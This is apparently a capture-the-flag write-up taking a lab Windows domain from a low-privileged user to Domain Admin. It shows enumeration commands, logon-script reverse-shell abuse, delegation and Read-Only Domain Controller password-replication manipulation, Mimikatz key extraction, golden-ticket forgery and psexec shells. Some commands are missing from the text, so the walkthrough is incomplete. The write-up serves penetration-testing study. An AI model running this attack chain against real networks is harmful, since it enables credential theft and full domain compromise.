A Windows Active Directory environment built around a Read-Only Domain Controller — abusing writable AD attributes and a carefully constructed Kerberos delegation chain leads from a low-privileged domain user to Domain Admin.
$ ip=10.129.23.25; ports=$(nmap -p- --min-rate=1000 -T4 $ip | grep '^[0-9]' | cut -d '/' -f 1 | tr' '',' | sed s/,$//); nmap -p$ports -sC -sV $ip Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-05 13:47 -0400 Nmap scan report for 10.129.23.25 Host is up (0.24s latency).
PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: garfield.htb, Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 2179/tcp open vmrdp? 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: garfield.htb, Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 3389/tcp open ms-wbt-server Microsoft Terminal Services | rdp-ntlm-info: | Target_Name: GARFIELD | NetBIOS_Domain_Name: GARFIELD | NetBIOS_Computer_Name: DC01 | DNS_Domain_Name: garfield.htb | DNS_Computer_Name: DC01.garfield.htb | DNS_Tree_Name: garfield.htb | Product_Version: 10.0.17763 |_ System_Time: 2026-04-06T01:47:05+00:00 |_ssl-date: 2026-04-06T01:47:45+00:00; +8h00m02s from scanner time. | ssl-cert: Subject: commonName=DC01.garfield.htb | Not valid before: 2026-02-13T01:10:36 |_Not valid after: 2026-08-15T01:10:36 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 9389/tcp open mc-nmf .NET Message Framing Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 43.15 seconds
The scan confirms a Domain Controller for garfield.htb (DC01.garfield.htb). Notable findings:
2179/tcp — VM RDP, suggesting a guest VM (likely RODC01) on an internal network
5985/tcp — WinRM available
8-hour clock skew — Kerberos operations will require time synchronisation
SMB signing is required on DC01
Foothold
Hosts File
1
$ echo'10.129.23.25 garfield.htb dc01.garfield.htb' | sudotee -a /etc/hosts
SMB Share Enumeration
We start with credentials j.arbuckle:Th1sD4mnC4t!@1978:
The presence of krbtgt_8245 and RODC01$ tells us there is a Read-Only Domain Controller in the environment. The RODC has its own krbtgt account (krbtgt_8245) whose keys, if obtained, can be used to forge tickets valid against RODC01.
GptTmpl.inf at garfield.htb/Policies/{6AC1786C-016F-11D2-945F-00C04fB984F9}/MACHINE/Microsoft/Windows NT/SecEdit reveals that l.wilson has the SeBatchLogonRight privilege — meaning she can log on as a batch job, which is consistent with logon script execution.
BloodHound Enumeration
Running bloodhound-python directly fails with a Kerberos clock skew error:
1 2 3 4 5
$ bloodhound-python -u j.arbuckle -p 'Th1sD4mnC4t!@1978' -d garfield.htb --domain-controller DC01.garfield.htb --nameserver 10.129.23.25 -c All INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3) INFO: Found AD domain: garfield.htb INFO: Getting TGT for user WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
ntpdate to sync the clock also fails — it appears to be blocked by the target. Use faketime to spoof the correct time for the command without modifying the system clock:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
$ faketime "$(ntpdate -q 10.129.23.25 | cut -d ' ' -f 1,2)" bloodhound-python -u j.arbuckle -p 'Th1sD4mnC4t!@1978' -d garfield.htb --domain-controller DC01.garfield.htb --nameserver 10.129.23.25 -c All INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3) INFO: Found AD domain: garfield.htb INFO: Getting TGT for user INFO: Connecting to LDAP server: DC01.garfield.htb INFO: Found 1 domains INFO: Found 1 domains in the forest INFO: Found 2 computers INFO: Found 8 users INFO: Found 55 groups INFO: Found 2 gpos INFO: Found 1 ous INFO: Found 19 containers INFO: Found 0 trusts INFO: Starting computer enumeration with 10 workers INFO: Querying computer: RODC01.garfield.htb INFO: Querying computer: DC01.garfield.htb INFO: Done in 00M 37S
Upload the JSON files to BloodHound:
1 2 3 4 5 6 7 8
$ ls -la -rw-rw-r-- 1 kali kali 7491 Apr 5 14:24 20260405222400_computers.json -rw-rw-r-- 1 kali kali 24787 Apr 5 14:24 20260405222400_containers.json -rw-rw-r-- 1 kali kali 3092 Apr 5 14:24 20260405222400_domains.json -rw-rw-r-- 1 kali kali 3966 Apr 5 14:24 20260405222400_gpos.json -rw-rw-r-- 1 kali kali 84112 Apr 5 14:24 20260405222400_groups.json -rw-rw-r-- 1 kali kali 2005 Apr 5 14:24 20260405222400_ous.json -rw-rw-r-- 1 kali kali 18501 Apr 5 14:24 20260405222400_users.json
1
$ bloodhound
Navigate to http://127.0.0.1:8080/ui/ and import the JSON files. BloodHound reveals the following attack path:
j.arbuckle has write access to scriptPath on multiple accounts
l.wilson has ForceChangePassword on l.wilson_adm
l.wilson_adm is a member of TIER 1 which has AddSelf on RODC ADMINISTRATORS
l.wilson_adm has ForceChangePassword and WriteAccountRestrictions on RODC01$
RODC01$ can ForceChangePassword on krbtgt_8245
bloodyAD confirms we have write access to scriptPath on several accounts including l.wilson:
distinguishedName: CN=Liz Wilson ADM,CN=Users,DC=garfield,DC=htb scriptPath: WRITE
Logon Script Abuse — Reverse Shell as l.wilson
The scriptPath attribute on a user object specifies a batch script that runs automatically when the user logs in. Since we can write to SYSVOL and set scriptPath on l.wilson, we can plant a malicious script that fires a reverse shell the next time she authenticates.
Generate the PowerShell reverse shell payload as a Base64-encoded command:
After a short wait, the shell arrives. Now use l.wilson‘s session to reset l.wilson_adm‘s password — BloodHound confirmed she has ForceChangePassword over this account:
[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty [*] Delegation rights modified successfully! [*] FAKEPC$ can now impersonate users on RODC01$ via S4U2Proxy [*] Accounts allowed to act on behalf of other identity: [*] FAKEPC$ (S-1-5-21-2502726253-3859040611-225969357-10601)
Request the service ticket. The first attempt fails on clock skew:
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.2:445 ... OK [*] Requesting shares on 192.168.100.2..... [*] Found writable share ADMIN$ [*] Uploading file nFlSEZjf.exe [*] Opening SVCManager on 192.168.100.2..... [*] Creating service Cwhx on 192.168.100.2..... [*] Starting service Cwhx..... [proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.2:445 ... OK [proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.2:445 ... OK [!] Press helpfor extra shell commands Microsoft Windows [Version 10.0.17763.8511] (c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>
Download Mimikatz to RODC01 and extract the krbtgt_8245 keys:
* NTLM-Strong-NTOWF Random Value : f4b51c2c0d006172304e31dbc6e0de6b
Mimikatz gives us the AES256 key, the NTLM hash, and the domain SID — the three ingredients needed to forge a ticket as any user in the domain using krbtgt_8245.
Manipulate RODC Password Replication Policy
We can’t modify the Allowed RODC Password Replication Group directly, but the Password Replication Policy is also controlled by two attributes on the RODC computer object: msDS-RevealOnDemandGroup (allow list) and msDS-NeverRevealGroup (deny list). As an RODC administrator, l.wilson_adm has write access to these attributes.
Clear the deny list first, then add Administrator to the allow list:
[*] Ticket written to ticket_2026_04_11_00_47_46_Administrator_to_krbtgt@GARFIELD.HTB.kirbi
The golden ticket is signed with krbtgt_8245 but needs to be validated by the DC. Use Rubeus asktgs with /keyList to request a real TGS from DC01 — this is the RODC KeyList attack, where DC01 validates the RODC-signed ticket and issues a proper service ticket:
$ impacket-ticketConverter ticket.kirbi ticket.ccache Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] converting kirbi to ccache... [+] done
Root Flag
Export the ticket and connect to DC01 as Administrator:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
$ export KRB5CCNAME=$(pwd)/ticket.ccache
$ impacket-psexec garfield.htb/Administrator@DC01.garfield.htb -k -no-pass Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Requesting shares on DC01.garfield.htb..... [*] Found writable share ADMIN$ [*] Uploading file cSccdTlS.exe [*] Opening SVCManager on DC01.garfield.htb..... [*] Creating service BEyZ on DC01.garfield.htb..... [*] Starting service BEyZ..... [!] Press helpfor extra shell commands Microsoft Windows [Version 10.0.17763.8385] (c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>
Vaultex
Version 1.0
Theme repository
View the source code, report issues, and contribute to the theme on GitHub.